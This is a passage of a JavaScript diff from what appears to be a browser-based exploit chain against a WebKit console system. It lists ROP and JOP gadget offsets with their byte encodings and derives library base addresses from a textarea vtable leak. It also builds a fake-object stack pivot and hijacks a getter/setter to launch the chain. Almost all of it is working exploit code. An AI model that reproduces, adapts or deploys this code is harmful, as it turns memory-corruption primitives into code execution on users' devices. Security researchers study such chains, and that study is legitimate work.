0x00000000005f99e0, // `41 58 c3` + "pop r9; ret": 0x000000000070439f, // `47 59 c3` + "pop r10; ret": 0x0000000000061d51, // `47 5a c3` + "pop r11; ret": 0x0000000000d492bf, // `4f 5b c3` + + "pop r12; ret": 0x0000000000da945c, // `41 5c c3` + "pop r13; ret": 0x00000000019ccebb, // `41 5d c3` + "pop r14; ret": 0x000000000003c826, // `41 5e c3` + "pop r15; ret": 0x000000000024d2af, // `41 5f c3` + + "ret": 0x0000000000000032, // `c3` + "leave; ret": 0x000000000025654b, // `c9 c3` + + "mov rax, qword ptr [rax]; ret": 0x000000000002e592, // `48 8b 00 c3` + "mov qword ptr [rdi], rax; ret": 0x000000000005becb, // `48 89 07 c3` + "mov dword ptr [rdi], eax; ret": 0x00000000000201c4, // `89 07 c3` + "mov dword ptr [rax], esi; ret": 0x00000000002951bc, // `89 30 c3` + + [jop1]: 0x00000000019b4c80, // `48 8b 7e 08 48 8b 07 ff 60 70` + [jop2]: 0x000000000077b420, // `55 48 89 e5 48 8b 07 ff 50 30` + [jop3]: 0x0000000000f87995, // `48 8b 52 50 b9 0a 00 00 00 ff 50 40` + [jop4]: 0x0000000001f1c866, // `52 ff 20` + [jop5]: 0x000000000005f959, // `5c c3` + }), +); + +const libc_gadget_offsets = new Map( + Object.entries({ + "getcontext": 0x25f34, + "setcontext": 0x2a388, + }), +); + +const libkernel_gadget_offsets = new Map( + Object.entries({ + // returns the location of errno + "__error": 0x16220, + }), +); + +export const gadgets = new Map(); + +function get_bases() { + const textarea = document.createElement("textarea"); + const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl); + const textarea_vtable = webcore_textarea.readp(0); + const off_ta_vt = 0x23ae2b0; + const libwebkit_base = textarea_vtable.sub(off_ta_vt); + + const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail); + const stack_chk_fail_addr = resolve_import(stack_chk_fail_import); + const off_scf = 0x12ac0; + const libkernel_base = stack_chk_fail_addr.sub(off_scf); + + const strlen_import = libwebkit_base.add(offset_wk_strlen); + const strlen_addr = resolve_import(strlen_import); + const off_strlen = 0x4f580; + const libc_base = strlen_addr.sub(off_strlen); + + return [libwebkit_base, libkernel_base, libc_base]; +} + +export function init_gadget_map(gadget_map, offset_map, base_addr) { + for (const [insn, offset] of offset_map) { + gadget_map.set(insn, base_addr.add(offset)); + } +} + +class Chain750Base extends ChainBase { + push_end() { + this.push_gadget("leave; ret"); + } + + push_get_retval() { + this.push_gadget("pop rdi; ret"); + this.push_value(this.retval_addr); + this.push_gadget("mov qword ptr [rdi], rax; ret"); + } + + push_get_errno() { + this.push_gadget("pop rdi; ret"); + this.push_value(this.errno_addr); + + this.push_call(this.get_gadget("__error")); + + this.push_gadget("mov rax, qword ptr [rax]; ret"); + this.push_gadget("mov dword ptr [rdi], eax; ret"); + } + + push_clear_errno() { + this.push_call(this.get_gadget("__error")); + this.push_gadget("pop rsi; ret"); + this.push_value(0); + this.push_gadget("mov dword ptr [rax], esi; ret"); + } +} + +export class Chain750 extends Chain750Base { + constructor() { + super(); + const [rdx, rdx_bak] = mem.gc_alloc(0x58); + rdx.write64(off.js_cell, this._empty_cell); + rdx.write64(0x50, this.stack_addr); + this._rsp = mem.fakeobj(rdx); + } + + run() { + this.check_allow_run(); + this._rop.launch = this._rsp; + this.dirty(); + } +} + +export const Chain = Chain750; + +export function init(Chain) { + const syscall_array = []; + [libwebkit_base, libkernel_base, libc_base] = get_bases(); + + init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base); + init_gadget_map(gadgets, libc_gadget_offsets, libc_base); + init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base); + init_syscall_array(syscall_array, libkernel_base, 300 * KB); + + let gs = Object.getOwnPropertyDescriptor(window, "location").set; + // JSCustomGetterSetter.m_getterSetter + gs = mem.addrof(gs).readp(0x28); + + // sizeof JSC::CustomGetterSetter + const size_cgs = 0x18; + const [gc_buf, gc_back] = mem.gc_alloc(size_cgs); + mem.cpy(gc_buf, gs, size_cgs); + // JSC::CustomGetterSetter.m_setter + gc_buf.write64(0x10, get_gadget(gadgets, jop1)); + + const proto = Chain.prototype; + // _rop must have a descriptor initially in order for the structure to pass + // setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a + // call to JSObject::putInlineSlow(). putInlineSlow() is the code path that + // checks for any descriptor to run + // + // the butterfly's indexing type must be something the GC won't inspect + // like DoubleShape. it will be used to store the JOP table's pointer + const _rop = { + get launch() { + throw Error("never call"); + }, + 0: 1.1, + }; + // replace .launch with the actual custom getter/setter + mem.addrof(_rop).write64(off.js_inline_prop, gc_buf); + proto._rop = _rop; + + // JOP table + const rax_ptrs = new BufferView(0x100); + const rax_ptrs_p = get_view_vector(rax_ptrs); + proto._rax_ptrs = rax_ptrs; + + rax_ptrs.write64(0x70, get_gadget(gadgets, jop2)); + rax_ptrs.write64(0x30, get_gadget(gadgets, jop3)); + rax_ptrs.write64(0x40, get_gadget(gadgets, jop4)); + rax_ptrs.write64(0, get_gadget(gadgets, jop5)); + + const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly); + jop_buffer_p.write64(0, rax_ptrs_p); + + const empty = {}; + proto._empty_cell = mem.addrof(empty).read64(off.js_cell); + + Chain.init_class(gadgets, syscall_array); +}